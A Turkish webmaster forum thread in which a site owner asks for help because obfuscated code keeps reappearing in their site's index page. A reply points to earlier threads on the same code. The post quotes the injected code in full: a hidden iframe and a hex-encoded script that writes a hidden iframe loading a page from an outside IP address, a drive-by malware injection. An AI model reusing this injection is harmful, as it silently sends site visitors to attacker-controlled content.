Webmaster arkadaslardan yardim istiyorum lütfen !

arkadaşlar sitelerimin indexinde şöyle bir şey oluşuyor kendi kendine :

<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v48134f104e495(v48134f104ec8f){ return(parseInt(v48134f104ec8f,16));}function v48134f1050478(v48134f1050c7d){ var v48134f105146c='';for(v48134f1051874=0; v48134f1051874<v48134f1050c7d.length; v48134f1051874+=2){ v48134f105146c+=(String.fromCharCode(v48134f104e495(v48134f1050c7d.substr(v48134f1051874, 2))));}return v48134f105146c;} document.write(v48134f1050478('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D38646264633162343362207372633D5C27687474703A2F2F37372E3232312E3133332E3135302F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A323533333136292B2735386462316633623837395C272077696474683D353831206865696768743D343336207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>


siliyorum 2 saat sonra yine geliyor. ne yapmam lazım ?

http://forum.iyinet.com/wordpress/81283-nereden-cikmis-olablir-bu-kod.html
http://forum.iyinet.com/virus-spyware-spam/78525-bu-nasil-bir-trojan.html
http://forum.iyinet.com/webmaster-genel-konular/78414-su-javascript-kodu-nedir.html
http://forum.iyinet.com/webmaster-genel-konular/77731-status-barda-anlaamdigim-bir-ip-adresi.html

Buyur arkadaşım ama bir dahaki sefere arama yaparsan daha iyi olur